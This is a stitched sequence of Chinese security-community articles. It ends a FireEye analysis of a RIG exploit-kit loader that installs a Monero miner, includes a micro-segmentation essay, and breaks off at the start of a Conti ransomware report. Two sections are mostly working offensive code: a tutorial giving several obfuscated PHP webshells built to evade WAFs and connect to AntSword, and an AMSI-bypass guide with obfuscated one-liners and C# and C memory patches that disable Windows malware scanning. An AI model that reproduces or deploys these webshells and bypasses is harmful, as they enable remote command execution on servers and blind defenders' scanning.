第二个线程使用EnumWindows来枚举窗口。它使用GetClassNameA函数来提取与相应窗口关联的类名。与第一个线程一样，它使用自定义操作从类名生成DWORD哈希值，并将其与硬编码的DWORD值数组进行比较，如果生成的值与数组中的任何值匹配，则终止与相应窗口相关的进程。
除了以上这两种反分析技术之外，它还具有通过尝试访问URL来检查互联网连接的代码：www.msftncsi[.]com/ncsi.txt。
为了在系统中保持持久性，恶意软件在％startup％文件夹中创建计划任务和快捷方式。计划任务名为“Opera Scheduled Autoupdate
{GetTickCount()的十进制}”。
然后恶意软件会与恶意URL进行通信以下载最终的payload，即Monero挖矿软件。它使用Microsoft
CryptoAPIs从计算机名称和卷信息创建MD5哈希值，并在POST请求中将哈希值发送到服务器。图18显示了这一网络通信过程。
图18：网络通信过程
最后，恶意软件从服务器下载最终payload：Monero挖矿软件，并将其安装到系统中。
## 结论
虽然我们一直在观察到Exploit Kit活动呈减少趋势，但攻击者并没有完全放弃它们。在本文中，我们探讨了RIG
EK如何与各种漏洞EXP来进行端点破坏，还展示了NSIS Loader如何利用鲜为人知的PROPagate流程注入技术，其目的很有可能是为了逃避安全产品。
FireEye MVX和FireEye Endpoint Security（HX）平台在攻击链的几个阶段都检测到了此攻击。
审核人：yiwang 编辑：边边 | 社区文章 |
# 安全何须墨守成规，改变视角看微隔离
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
最近，有一位企业的管理员私下咨询笔者：“勒索病毒太猖狂了，我们公司的服务器也不幸中招了，好多数据都被锁了。有没有什么办法能够恢复数据？”
其实挖矿勒索这类问题已在众多企业信息安全建设中备受关注。在遇到勒索病毒攻击时，企业的安全管理者总是会想着怎么清除病毒，数据如何恢复，病毒入侵的途径。以往，企业的信息安全管理者只需要将网络划分为不同等级的安全域，并在安全域之间通过边界访问控制和堆砌各种安全产品，便可实现对应用服务资源的安全保障。
这种固守的防守思维就导致了绝大多数安全事件都是在事中或是事后才被发现，但往往这时候攻击者已经对业务的正常运行造成了破坏，窃取到了有价值的数据。更有攻击者通过0day等攻击绕过固守的南北向边界，渗透进内部并对网络内的其他资产进行横向攻击，最终进一步蛰伏以获取更有价值的信息。这样看来，创口贴式的修补和加固在面对层出不穷的新型攻击时不仅会制造大量的安全盲点也会不断扩大网络的攻击面。
早在一千多年前人们就给到了我们解决这个问题的启发。在我国 **南梁时期**
，造船工匠们发现船舶遭遇意外导致船舱破损进水时，水会直接漫遍全舱，船舶很快就会沉没。为了使船舶能够更加安全地行驶，工匠们在船体内部的舱壁处隔离出了多个互不相通的独立水密舱。这样一来，即使有一个或多个船舱漏水，也不会流进其他舱，其他未受损的独立舱室还能为船舶提供浮力，减缓沉船的速度。这就是
**水密舱隔离技术** ，这项技术一直沿用至今，并为大型船舶和军舰所用。
水密舱隔离技术原理
在网络安全防护实践中，“水密舱隔离技术”通过与零信任理念相结合，被用作于为东西向业务提供精细、一致且可扩展的安全防护，这就是微隔离。
## 一、微隔离概述
微隔离最早在2015年由Gartner所提出，其诞生之初被命名为软件定义隔离，与其一同提出的还有SDP（软件定义边界）。
微隔离是一种创建逻辑网段并完全控制网段内和网段间流量的方法。它提供了通过精细化的策略控制来管理数据中心或多云环境中的工作负载的能力，并限制横向威胁在数据中心的传播。
传统网络模型中，大多以防火墙作为网络隔离的主要手段。防火墙的网络分段和ACL访问控制技术将网络按照安全等级划分为不同等级的安全域，不同等级的安全域之间的数据流走向受防火墙的安全策略控制，可以安全保障南北向的流量的安全合规流通。所以防火墙在网络安全基础建设中一直备受安全架构师们的青睐。
随着信息技术的快速发展，云计算的出现改变了传统网络安全建设的格局。传统的网络安全硬件防火墙所采用的基于五元组或七元组的访问控制方式却无法适用于当前盛行的多云时代。多云时代的网络虚拟化、计算虚拟化和存储虚拟化让传统的IDC数据中心变得更加灵活，管理更加便捷。越来越多的业务不断上云带来便捷的同时也让信息化管理员们的安全管理工作变得更加棘手。
多云模式下的工作负载处理的是用户访问业务的真实数据和流量，而承载着云工作负载的宿主机网络中流转的多是底层控制和通信数据。云环境中各工作负载之间的东西向业务数据交互早已摆脱传统硬件防火墙的管控，典型的三次树形网络结构开始向大二层结构转变。在这种网络安全结构快速转变的格局下，网络安全解决方案提供商们也是想出了通过虚拟化防火墙和分布式防火墙的方式来应对。这种将安全硬件虚拟化的方式也是难以应对复杂多变的云环境。
幸运的是，软件定义的微隔离的出现使主机级别的颗粒度分段成为现实。基于软件定义的框架允许微隔离在混合多云的环境中灵活的对工作负载进行分段隔离，并通过统一的安全控制中心对不同的分段分发自适应的安全访问策略。
无论是在本地化的数据中心内部还是云环境中，这种精细到主机级别颗粒度的安全策略定义方式都可以帮助用户的工作负载实现基于零信任理念的访控。首先，通过微隔离独特的分段方式，阻断所有无法通过设定策略验证的连接，确保只有合法授权用户才能访问。其次，通过软件定义的微隔离按需分配部署的能力，对新增或访问需求变动的用户动态分配相应的权限策略，确保应用访问的“最小权限划分”。最后，通过部署的微隔离agent实现对身份的持续验证和可视化流量的采集，实现对数据中心网络的访问安全行为进行全方位掌控。
值得一提的是，微隔离可以完美地融入企业ZTNA的框架建设中。由SDP（软件定义边界）完成对用户访问业务的接入控制安全，IAM（统一身份认证）对访问者身份做认证和访问权限管理，MSG（微隔离）降低非法访问在业务内横向传播带来的危害。通过两者的结合，能有效降低攻击面，并在应用处贴近化构筑零信任安全微边界，实现“端、网、云”三位面一体化的安全防护。
## 二、微隔离的实现方式
2020年，《零信任实战白皮书》中提到了对于微隔离的四种技术路线，包括云原生控制、基于第三方防火墙、基于代理模式、混合模式。
这四种工作负载之间隔离的方式适用于不同的数据中心环境，企业的网络安全管理者应根据自身的网络情况和投入预算“因网制宜”，选择最适合自身网络的实现方式。下面笔者会通过分析四种路线的实践方式和其各自的利弊供读者们进行参考：
**● 云原生控制**
云原生控制提供的是云原生安全的能力，这种路线在虚拟化平台提供者（如Vmware等）中比较常见。这种方式通过将安全内嵌至虚拟化平台中，可与云平台深度融合，直接受云平台的调用，能有效联动云的计算和网络资源，实现原生的“四化”，即计算虚拟化、网络虚拟化、存储虚拟化和安全虚拟化。
云原生控制方式通常适用于云工作负载之间的隔离，它最大的优点就是底层和云平台相融合，不需要单独的外挂部署，直接在云平台上操作就可以对云工作负载的访问进行控制。但相较于南北向丰富的安全防护能力，云原生的安全能力强度还是略有欠缺，不过目前国内对云原生安全能力的逐渐重视，各大厂商也是抓紧了对云原生控制的深入探索。
**● 基于第三方防火墙**
此技术路线实现主要基于第三方防火墙供应商提供的虚拟化防火墙（分布式防火墙）。该种方式有两种部署模式：
一种是虚拟化防火墙以独立虚拟机的形式部署在每个虚拟化的宿主机上，通过虚拟化平台的防火墙接口，把此台宿主机上虚拟机的流量重定向到虚拟化防火墙中，通过配置安全策略实现对云工作负载的安全防护。
另一种模式则通过与云平台的NFV（网络虚拟化）功能的结合来对流量进行控制，通常采用SDN引流的方式牵引云平台中的VSwitch（虚拟交换机）的流量到虚拟化防火墙中进行防护和控制。
与云原生控制最大的区别在于，第三方防火墙方式可以提供丰富多变的安全集成能力，可以将安全厂商的下一代防火墙功能（访问控制、入侵防御、恶意代码检测、WEB应用防护等）融入进虚拟化环境中。但缺点也很明显，就是第三方防火墙厂商需要与虚拟化平台厂商进行适配兼容，且无法适用于容器和微服务环境。
**● 基于代理模式**
基于代理模式的部署方式比较简单，也是当前企业用户使用的最多的一种方式。只需要通过在每台虚拟主机中安装agent代理即可，所有安装了agent代理的主机通过外部控制中心进行策略控制并协调代理通信。这种方式相当于在原有的物理承载网络之上构建了一个Overlay虚拟网络。虚拟主机之间的通信亦可通过代理进行隧道加密传输，所有的访问动作都必须依赖于策略管控，安全性得到大大的提升。
基于代理模式的实现方式主要在于主机的系统环境兼容，对底层架构环境的依赖性不高，降低了安全厂商对虚拟化平台的复杂适配兼容工作，也解决了其他几种方式对容器环境防护能力的缺失。
代理模式实现的推进难点在于其本身agent部署的工作量庞大和对主机资源占用问题。agent轻量化和部署便捷化成了代理模式主推厂商当前最棘手的问题。
**● 混合模式**
混合模式是将上述三种方式和传统安全防护进行灵活组合实现。安全架构师们会根据当前网络的架构和业务访问逻辑进行多方结合，选择出一个最适用于当前网络的部署模式。这种模式灵活度较高，同时兼顾东西向和南北向的防护，所以也结合了多种方式部署的优点，能够给业务安全性带来更全面更安全的保障。
混合模式适用于大型复杂的数据中心，同时与现有业务系统深度融合，对业务和网络的改动比较大，所以说对全局网络的综合协调和响应有着较高的要求。
## 三、直观的微隔离体验
企业在面临来自互联网的新型攻击挑战的同时，还要积极履行作为网络运营者相应的网络安全保护义务。微隔离作为助力企业零信任转型的重要手段之一，其带来的收益和效果也是最快速和最直接的。
业务交互更加安全
微隔离弥补了IT基础架构中东西向安全防护的空缺，提供了在高度复杂的场景下精细化的业务访控策略。让企业在使用云计算和容器等新技术促进业务便捷开展的同时，也能够平衡业务与安全的“天平”。通过虚拟的网络数据可视化，让内外部非法访问无所遁形，减少企业的资产损失和核心数据丢失。
减少攻击面和横向传播
在业务向云模式转变的同时，无形中也是扩大了企业业务的攻击面，带来了许多新的潜在安全风险。微隔离凭借精细化的访问管控收敛了不必要的攻击面，严格管控业务访问所需要的最小权限。
攻击面的减小并不能完全杜绝攻击。为了减少攻击面带来的损失，微隔离通过将网络分段划分为更小、更孤立的分段，极大程度的限制了挖矿勒索等安全威胁的传播。在发生安全漏洞的情况下，可以及时止损并防止漏洞扩散。
业务更加合规，监管不再找上门
随着国家越来越重视网络安全，相继的法律法规也逐渐完善，网络运营者也应当承担相对的网络安全保护责任，对于监管部门的依法实施的监督检查也应当予以配合。微隔离可以帮助企业加强业务合规和安全保护，提高了对行业法规和标准的合规性，减少因网络安全事件导致的通报和处罚。
## 四、相融共生，共筑安全新篇章
微隔离作为零信任安全理念的关键实践之一，其诞生和演进证明了网络安全建设理念在不断摆脱固有思维的限制。与其说零信任在创造一种全新的安全防护格局，倒不如说零信任在潜移默化的改变防护规则，与现有方式相融共生。
零信任之路还很漫长，期望与之共筑安全新篇章。 | 社区文章 |
# 前言
继上一篇Webshell免杀已经过去很久了，之前的工作只是完成了落地免杀和命令的执行，如果我们直接传参进行命令执行的话会很容易被WAF拦截。蚁剑有编码器这一功能可以方便我们绕过WAF的检测。
后来一次使用webshell过程中发现其并不能连接蚁剑，决定抓包简单分析一下流量修改我们的webshell。
# trick
上一篇只是提到了php中大家比较少用的tricks，所以这一次分享几个之前总结的一些成果。
## ReflectionClass::newInstance
<?php
class Test1
{
public function __construct($para, $_value)
{
$para($_value);
}
}
$class1 = new ReflectionClass("Test1");
foreach (array('_POST') as $_r1) {
foreach ($$_r1 as $_asadasd=>$_wfwefb) {
$$_asadasd =$_wfwefb;
}
}
$class2 = $class1->newInstance($_asadasd, $$_asadasd);
我们首先初始化一个反射类，传入要实例化类的类名，接下来用`newInstance()`方法对该类进行实例化。
1. 我们的webshell需要接收两个参数，一个是`函数`，另一个是`函数的参数`，这里借用`@郑瀚AndrewHann`师傅的[污点传递理论](https://zhuanlan.zhihu.com/p/197553954)
1. 接下来就是在构造函数内部执行命令，执行命令的方式是使用可变函数。当函数名被传入`$para=assert`时，构造函数内变为`assert($_value)`。函数的参数即我们要执行的命令。
2. 最后解决参数的传递。常见的`$_GET[]、$_POST[]、$_COOKIE[]...`数组无法直接使用。我们依然利用PHP的动态特性，使webshell不出现`$_GET[]、$_POST[]、$_COOKIE[]...`。当程序执行到第二个foreach循环之前。我们的输入并没有参数来接收，直到我们使用可变变量`变`出了`$_POST[]`，并将其键值进一步操作后传入`newInstance`函数。
* * *
上面这个webshell依然可以进行变形。
<?php
class Test1
{
private $para1 = '';
private $para2 = '';
public function __invoke($para1, $para2)
{
$para1($para2);
}
public function __construct($para1, $para2)
{
$this($para1, $para2);
}
}
$class1 = new ReflectionClass("Test1");
foreach (array('_POST') as $_r1) {
foreach ($$_r1 as $_asadasd=>$_wfwefb) {
$$_asadasd =$_wfwefb;
}
}
$class2 = $class1->newInstance($_asadasd, $$_asadasd);
* `__invoke`：当尝试以调用函数的方式调用一个对象时，该方法会被自动调用。
所以我们在构造函数内调用一次对象：`$this($p1,$p2)`，接着会调用`__invoke()`函数实现命令执行。
## trait(PHP 7)
php从以前到现在一直都是单继承的语言，无法同时从 **两个基类中继承属性和方法** ，为了解决这个问题，php出了`Trait`这个特性
* 用法：通过在类中使用`use`关键字，声明要组合的Trait名称，具体的Trait的声明使用Trait关键词， **Trait不能实例化**
<?php
trait Dog
{
public $name="dog";
public function drive()
{
echo "This is dog drive";
}
public function eat($a, $b)
{
$a($b);
}
}
class Animal
{
public function drive()
{
echo "This is animal drive";
}
public function eat()
{
echo "This is animal eat";
}
}
class Cat extends Animal
{
use Dog;
public function drive()
{
echo "This is cat drive";
}
}
foreach (array('_POST') as $_request) {
foreach ($$_request as $_key=>$_value) {
$$_key= $_value;
}
}
$cat = new Cat();
$cat->eat($_key, $_value);
* 我们的参数依旧将键值数组中的`键`、`值`分别传入。函数调用则使用PHP 7中的`trait`特性，最终实现可变函数的执行
## 静态调用非静态函数
<?php
class SimpleThis
{
public function NonStatic($p1, $p2)
{
if (isset($this)) {
echo '6';
} else {
$p1($p2);
}
}
}
foreach (array('_POST','_GET') as $_request) {
foreach ($$_request as $_key=>$_value) {
$$_key= $_value;
}
}
SimpleThis::NonStatic($_key, $_value);
在C、Java中，非静态函数肯定是不能被静态调用的。首先会编译失败。但是PHP是个解释函数。至于原理：这里直接附上鸟哥的[文章](https://www.laruence.com/2012/06/14/2628.html)
# 连接蚁剑
将蚁剑挂上burpsuite。上传我们的一句话木马进行连接。
* 请求的流量
assert=@eval(@str_rot13($_POST[ca3a283bf3d534]));&ca3a283bf3d534=@vav_frg("qvfcynl_reebef", "0");@frg_gvzr_yvzvg(0);shapgvba nfrap($bhg){erghea $bhg;};shapgvba nfbhgchg(){$bhgchg=bo_trg_pbagragf();bo_raq_pyrna();rpub "ron28298";rpub @nfrap($bhgchg);rpub "9741440r5";}bo_fgneg();gel{$Q=qveanzr($_FREIRE["FPEVCG_SVYRANZR"]);vs($Q=="")$Q=qveanzr($_FREIRE["CNGU_GENAFYNGRQ"]);$E="{$Q} ";vs(fhofge($Q,0,1)!="/"){sbernpu(enatr("P","M")nf $Y)vs(vf_qve("{$Y}:"))$E.="{$Y}:";}ryfr{$E.="/";}$E.=" ";$h=(shapgvba_rkvfgf("cbfvk_trgrtvq"))?@cbfvk_trgcjhvq(@cbfvk_trgrhvq()):"";$f=($h)?$h["anzr"]:@trg_pheerag_hfre();$E.=cuc_hanzr();$E.=" {$f}";rpub $E;;}pngpu(Rkprcgvba $r){rpub "REEBE://".$r->trgZrffntr();};nfbhgchg();qvr();
* 可以得到webshell执行的内容为：`assert(@eval(@str_rot13($_POST[ca3a283bf3d534]));)`，接着`&ca3a283bf3d534=xxxx`为我们的第二个POST参数
所以实际上webshell执行的是第二个随机参数的值。
* 回显
`Call to undefined function
ca3a283bf3d534()`这里报错未定义的函数，很显然我们的可变函数的函数名被覆盖了。并没有执行`assert()`，达到预期的结果。
实际上我们需要的是第一个POST参数即我们传入的assert。所以我们的webshell在循环数组时，造成了变量覆盖，后来的参数覆盖了前一个值。在webshell中我们需要取第一个值再传递它即可。
## 修改
以第一个webshell为例：
<?php
$s0;
$s1;
class Test1
{
public function __construct($para, $_value)
{
$para($_value);
}
}
$class1 = new ReflectionClass("Test1");
print_r($class1);
foreach (array('_POST') as $_request) {
foreach ($$_request as $_key=>$_value) {
for ($i=0;$i<1;$i++) {
${"s".$i} = $_key;
}
break;
}
}
$class2 = $class1->newInstance($s0, $_value);
我们依然使用可变变量的方式获取参数的值。我们循环一次将函数名取出，再传递即可。
# 最后
success! | 社区文章 |
## 前言
刚学bypass amis 做个总结 勿喷
正文
## 何为AMSI
Antimalware Scan Interface(AMSI)为反恶意软件扫描接口。
微软对他产生的目的做出来描述：
> Windows 反恶意软件扫描接口 (AMSI) 是一种通用接口标准，允许您的应用程序和服务与机器上存在的任何反恶意软件产品集成。AMSI
> 为您的最终用户及其数据、应用程序和工作负载提供增强的恶意软件保护。AMSI
> 与反恶意软件供应商无关；它旨在支持当今可以集成到应用程序中的反恶意软件产品提供的最常见的恶意软件扫描和保护技术。它支持允许文件和内存或流扫描、内容源
> URL/IP 信誉检查和其他技术的调用结构。AMSI
> 还支持会话的概念，以便反恶意软件供应商可以关联不同的扫描请求。例如，可以将恶意负载的不同片段关联起来做出更明智的决定，而仅通过孤立地查看这些片段就很难做出决定。
amsi只是一个通道，真正检测出是否是恶意脚本的是杀软，比如defender，amsi和杀软的区别在于无论我们的恶意脚本是经过多次模糊处理还是远程执行，amsi都可以在脚本注入内存前检测到。而普通的静态杀毒软件是没办法的。
当用户执行脚本或启动 PowerShell 时，AMSI.dll 被动态加载进入内存空间。在执行之前，防病毒软件使用以下两个 API
来扫描缓冲区和字符串以查找恶意软件的迹象。
AmsiScanBuffer()
AmsiScanString()
amsi是所有杀毒软件都可以调用吗？并不是！
amsi是在Windows 10 和Windows Server 2016 之后才有的，然后并不是所有的杀毒软件都可以调用amsi接口。国内的基本都不可以。
github上有一个项目记录了可以调用amsi的杀毒软件
<https://github.com/subat0mik/whoamsi/>
在Windows Server 2016和Win10上已经默认安装并启用。他的本体是一个DLL文件，存在于
c:\windows\system32\amsi.dll。
目前AMSI功能已集成到Windows 10的这些组件中
1.用户账户控制，也就是UAC（EXE、COM、MSI、ActiveX的安装）
%windir%\System32\consent.exe
2.Powershell（脚本、交互式使用、动态代码求值）
System.Management.Automation.dll
3.Windows脚本宿主
wscript.exe
cscript.exe
4.JavaScript、VBScript
%windir%\System32\jscript.dll
%windir%\System32\vbscript.dll
5.Office VBA macros(宏)
VBE7.dll
6 .NET Assembly
clr.dll
7.WMI
%windir%\System32\wbem\fastprox.dll
## 主流对抗
### 1.降级攻击
因为低版本(2.0)的powershell是没有amsi的，所以在powershell2.0上执行恶意脚本就不会被检测到
下图是powershell在各个系统上的预装情况，可以看到现在常见的win10、Windows
2016、2019很少预装有powershell2.0（amsi是从win10、2016开始存在的），但是由于很多服务需要低版本的powershell，所以在红蓝对抗中也会碰到装有powershell2.0
的机器。
查看当前powershell版本
$PSVersionTable
判断能否使用powershell 2.0
注：非管理员权限
Get-ChildItem 'HKLM:\SOFTWARE\Microsoft\NET Framework Setup\NDP' -recurse | Get-ItemProperty -name Version -EA 0 | Where { $_.PSChildName -match '^(?!S)\p{L}'} | Select -ExpandProperty Version
注：需要管理员权限
Win10：
Get-WindowsOptionalFeature -Online -FeatureName MicrosoftWindowsPowerShellV2
Win2016/Win2019
Get-WindowsFeature PowerShell-V2
powershell.exe -version 2 //改变powershell运行版本.
如果在脚本中使用，在脚本开头加入 `#requires -version
2`，这样如果可以使用2.0，脚本会以2.0执行，如果不能，会按照当前powershell版本执行。当然并不是所有脚本都可以在低版本的powershell执行。
还有一点，用powershell3 /4/5都还是默认以当前版本的powershell来执行
另外vbscript/jscript不存在所谓降级攻击，因为在10/16/19并不存在像powershell一样的断代
情况
### 2.拆分
### 3.改注册表禁用AMSI
设置注册表`HKCU\Software\Microsoft\Windows Script\Settings\AmsiEnable`设置为 0，以禁用
AMSI。
Remove-Item -Path "HKLM:\Software\Microsoft\Windows Script\Settings\AmsiEnable" -Recurse
但是，改注册表并不是一种隐秘的方法，并且还需要管理员权限 不怎么适用了
### 4.一键关闭AMSI
使用一行命令关闭amsi，但直接使用肯定是不行的 会被拦
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPubilc,Static').SetValue($null,$true)
可以一个个试 到底是哪里被杀了
经过测试发现 `AmsiUtils`和`AmsiInitFailed`被杀了
接下来的思路就很明确了，就是针对`AmsiUtils`和`AmsiInitFailed`这两个字符串进行处理了
和混淆shellcode的方法差不多，先编码再解码
//System.Management.Automation.AmsiUtils和amsiInitFailed的编码数据$a="5492868772801748688168747280728187173688878280688776828"
$b="1173680867656877679866880867644817687416876797271"
//对System.Management.Automation.AmsiUtils进行解码
$c=[string](0..37|%{[char][int](29+($a+$b).substring(($_*2),2))})-replace " "
$d=[Ref].Assembly.GetType($c)
//对amsiInitFailed进行解码
$e=[string](38..51|%{[char][int](29+($a+$b).substring(($_*2),2))})-replace " "
$f=$d.GetField($e,'NonPublic,Static')
//组合起来执行
$f.SetValue($null,$true)
混淆的关键点就是 编码解码
`[string](0..37|%{[char][int](29+($a+$b).substring(($_*2),2))})-replace " "`
hex编码
[Ref].Assembly.GetType('System.Management.Automation.'+$("41 6D 73 69 55 74 69 6C 73".Split(" ")|forEach{[char]([convert]::toint16($_,16))}|forEach{$result=$result+$_};$result)).GetField($("61 6D 73 69 49 6E 69 74 46 61 69 6C 65 64".Split(" ")|forEach{[char]([convert]::toint16($_,16))}|forEach{$result2=$result2+$_};$result2),'NonPublic,Static').SetValue($null,$true)
base64亲测失效，虽然可以关掉amsi，但被defender查杀，会立刻结束掉当前powershell进程
[Ref].Assembly.GetType('System.Management.Automation.'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('QQBtAHMAaQBVAHQAaQBsAHMA')))).GetField($([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('YQBtAHMAaQBJAG4AaQB0AEYAYQBpAGwAZQBkAA=='))),'NonPublic,Static').SetValue($null,$true)
更多的混淆办法去学习下powershell，了解语言本身
可参考：<https://mp.weixin.qq.com/s/Sg0LK8emSWP1m-yds4VGrQ>
### 5.内存补丁
AMSI检测相关api的调用顺序
AmsiInitialize – 初始化AMSI API.
AmsiOpenSession – 打开session
AmsiScanBuffer – scans the user-input.
AmsiCloseSession – 关闭session
AmsiUninitialize – 删除AMSI API
因为amsi是基于字符串静态扫描的，用到的函数是
`AmsiScanBuffer`，我们是不是可以hook该函数，使其返回我们需要的值呢？理则是修改AmsiScanBuffer函数的参数值（两个思路，一个是修改扫描长度，另一个是修改返回值）
看下`AmsiScanBuffer`的函数参数
HRESULT AmsiScanBuffer(
HAMSICONTEXT amsiContext,
PVOID buffer,
ULONG length,
LPCWSTR contentName,
HAMSISESSION amsiSession,
AMSI_RESULT *result );
为了让amsi.dll 返回 `AMSI_RESULT_NOT_DETECTED`，这里的关注点是
`hResult`，即amsi.dll的返回值，只要它小于0，就可以bypass
amsi。通过分析我们可以在`AmsiInitialize、AmsiOpenSession、AmsiScanBuffer`这3个函数中patch(补丁)都可以达到bypass
amsi的效果.
分析后，`AmsiInitializ`不可以利用，`AmsiOpenSession、AmsiScanBuffer`可以利用
demo1
$p=@"
using System;
using System.Linq;
using System.Runtime.InteropServices;
public class Program
{
[DllImport("kernel32")]
public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
[DllImport("kernel32")]
public static extern IntPtr LoadLibrary(string name);
[DllImport("kernel32")]
public static extern IntPtr VirtualProtect(IntPtr lpAddress, UIntPtr dwSize,
uint flNewProtect, out uint lpfloldProtect);
public static void Bypass()
{
String a =
"isma";
String b =
"reffuBnacSismA";
IntPtr lib = LoadLibrary(String.Join(""
, a.Reverse().ToArray()) +
"
.dll");
IntPtr addr = GetProcAddress(lib, String.Join(""
,
b.Reverse().ToArray()));
uint old = 0;
byte[] p;
p = new byte[6];
p[0] = 0xB8;
p[1] = 0x57;
p[2] = 0x00;
p[3] = 0x07;
p[4] = 0x80;
p[5] = 0xc3;
VirtualProtect(addr, (UIntPtr)p.Length, 0x04, out old);
Marshal.Copy(p, 0, addr, p.Length);
VirtualProtect(addr, (UIntPtr)p.Length, old, out old);
}
}
"@
Add-Type $p
[Program]::Bypass()
这段码的功能就是在`AmsiScanBuffer`的函数地址处直接打补丁，补丁汇编是：
mov eax,0x80070057
ret
`0x80070057`也就是`-2147024809`，是一个负数，当然也可以是其他负数，而`AmsiScanBuffer`也可以修
改成`AmsiOpenSession`。怎么把汇编代码转换成代码中的数组呢？使用<https://defuse.ca/online-x86-assembler.htm#disassembly，可以很快转换。我们来修改代码测试下：>
$p=@"
using System;
using System.Linq;
using System.Runtime.InteropServices;
public class Program
{
[DllImport("kernel32")]
public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
[DllImport("kernel32")]
public static extern IntPtr LoadLibrary(string name);
[DllImport("kernel32")]
public static extern IntPtr VirtualProtect(IntPtr lpAddress, UIntPtr dwSize,
uint flNewProtect, out uint lpfloldProtect);
public static void Bypass()
{
String a =
"isma";
IntPtr lib = LoadLibrary(String.Join(""
, a.Reverse().ToArray()) +
"
.dll");
IntPtr addr = GetProcAddress(lib,
"AmsiOpenSession");
uint old = 0;
byte[] p;
p = new byte[6];
p[0] = 0xB8;
p[1] = 0xFF;
p[2] = 0xFF;
p[3] = 0xFF;
p[4] = 0xFF;
p[5] = 0xC3;
VirtualProtect(addr, (UIntPtr)p.Length, 0x04, out old);
Marshal.Copy(p, 0, addr, p.Length);
VirtualProtect(addr, (UIntPtr)p.Length, old, out old);
}
}
"@
Add-Type $p
[Program]::Bypass()
我们修改了被打补丁的函数为AmsiOpenSession,补丁汇编代码为:
mov eax,-1
ret
我们知道了补丁函数可以为AmsiOpenSession、AmsiScanBuffer，补丁代码可以变化很
多，只要返回结果为负数就行。
#include <Windows.h>
#include <stdio.h>
int main() {
STARTUPINFOA si = { 0 };
PROCESS_INFORMATION pi = { 0 };
si.cb = sizeof(si);
CreateProcessA(NULL, (LPSTR)"powershell -NoExit dir", NULL, NULL, NULL, NULL, NULL, NULL, &si, &pi);
HMODULE hAmsi = LoadLibraryA("amsi.dll");
LPVOID pAmsiScanBuffer = GetProcAddress(hAmsi, "AmsiScanBuffer");
Sleep(500);
DWORD oldProtect;
char patch = 0xc3;
VirtualProtectEx(pi.hProcess, (LPVOID)pAmsiScanBuffer, 1, PAGE_EXECUTE_READWRITE, &oldProtect);
WriteProcessMemory(pi.hProcess, (LPVOID)pAmsiScanBuffer, &patch, sizeof(char), NULL);
VirtualProtectEx(pi.hProcess, (LPVOID)pAmsiScanBuffer, 1, oldProtect, NULL);
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
FreeLibrary(hAmsi);
return 0;
}
0xc3的硬编码对应的汇编是ret，也就是调用AmsiScanBuffer直接让他返回。这个马是直接被杀的。
## 非主流对抗
### 1.劫持amsi.dll
### 原理
由于研发人员使用 LoadLibrary函数导入dll的时候没有使用绝对路径，因此程序会首先在当前目录下寻找dll
因此我们在 powershell.exe同目录下放一个amsi.dll做劫持
amsi.dll`的默认目录：`c:\windows\system32\amsi.dll
还要考虑`amsi.dll`的导出函数，使用 Aheadlib工具生成或者自己找到 amsi.dll
对应的导出函数，自己写，一样的。当然自己的dll没有签名，这里还涉及到免杀的问题，如果可以添加微软前面，再劫持，又有很大的可玩性。
### 2.NULL字符绕过
这个方法已经失效了，但还是提一下，扩充下思路。
Amsi扫描使用的是 `AmsiScanString`函数
HRESULT WINAPI AmsiScanString(
_In_ HAMSICONTEXT amsiContext,
_In_LPCWSTR string, // Will be terminated at the first null
character
_In_LPCWSTR contentName,
_In_opt_HAMSISESSION session,
_Out_AMSI_RESULT *result
);
其中string就是脚本内容，在执行脚本之前加个空字符就可以截断，而修复的方法是用了
`AmsiScanBuffer`这个函数，所以amsi才会用这两个函数来扫描
HRESULT WINAPI AmsiScanBuffer(
_In_ HAMSICONTEXT amsiContext,
_In_ PVOID buffer, // Not terminated at the null character
_In_ ULONG length,
_In_ LPCWSTR contentName,
_In_ opt_HAMSISESSION session,
_Out_ AMSI_RESULT *result
);
### 3.COM server劫持
原理：amsi.dll在老版本中使用 CoCreateInstance()函数调用IID和CLSID来实例化COM接口。而这个函数会先
从注册表HKCU中找对应的dll去解析，也就是当前用户，因此我们创建相应的注册表，让它调用失败就行了。简单来说利用的是注册表优先级来绕过。
Windows Registry Editor Version 5.00
[HKEY_CURRENT_USER\Software\Classes\CLSID\{fdb00e52-a214-4aa1-8fba- 4357bb0072ec}]
[HKEY_CURRENT_USER\Software\Classes\CLSID\{fdb00e52-a214-4aa1-8fba-4357bb0072ec}\InProcServer32]
@="C:\\goawayamsi.dll"
而微软通过直接调用amsi.dll 的 `DllGetClassObject()` 函数替换 `CoCreateInstance()`，
可以避免注册表解析。
但是这种方法也失效了，不过可以学习下思路。
## 最后
AMSI 也还是有更多的方向可以研究，混淆等等 但更了解powershell 对于bypass有更好的帮助
还一个平台可参考用用<https://amsi.fail/>
在线生成的平台
参考:
> 《Bypass AMSI的前世今生》by L.N. | 社区文章 |
**译者：知道创宇404实验室翻译组
原文链接：<https://thedfirreport.com/2021/11/29/continuing-the-bazar-ransomware-story/>**
在本报告中，我们将讨论8月初的一个案例，在这个案例中，我们发现攻击者利用 BazarLoader 和 Cobalt Strike 并使用 Conti
勒索软件加密系统。
该案例中使用了常规的发现工具列表，如 AdFind、 Net、 Ping、 PowerView 和 Nltest。利用 Rclone 技术将公司数据转移给
Mega，利用 Process Hacker 技术转移 LSASS。攻击者在服务器上执行一个 Conti 批处理文件，然后服务器对大部分域加密。
## 摘要
八月份，我们发现了一起由BazarLoader 感染开始的入侵事件。传递来源可能是一场网络钓鱼运动，该运动向受害者分发有密码保护的 zip
文件和改装化文件。word文档中的宏提取并执行了恶意的.HTA文档，该文档下载并加载了内存中的BazarLoader DLL。
对信息安全界有一个认知是很明显的，即从BazarLoader开始的入侵常常以Conti勒索软件结束。本次事件也得出了这样的结论。在涉及Conti勒索软件的事件中有一些明显的相似之处。勒索软件操作者的工具和执行的总体目的在整个集群中趋于匹配。当我们看我们之前的[Conti
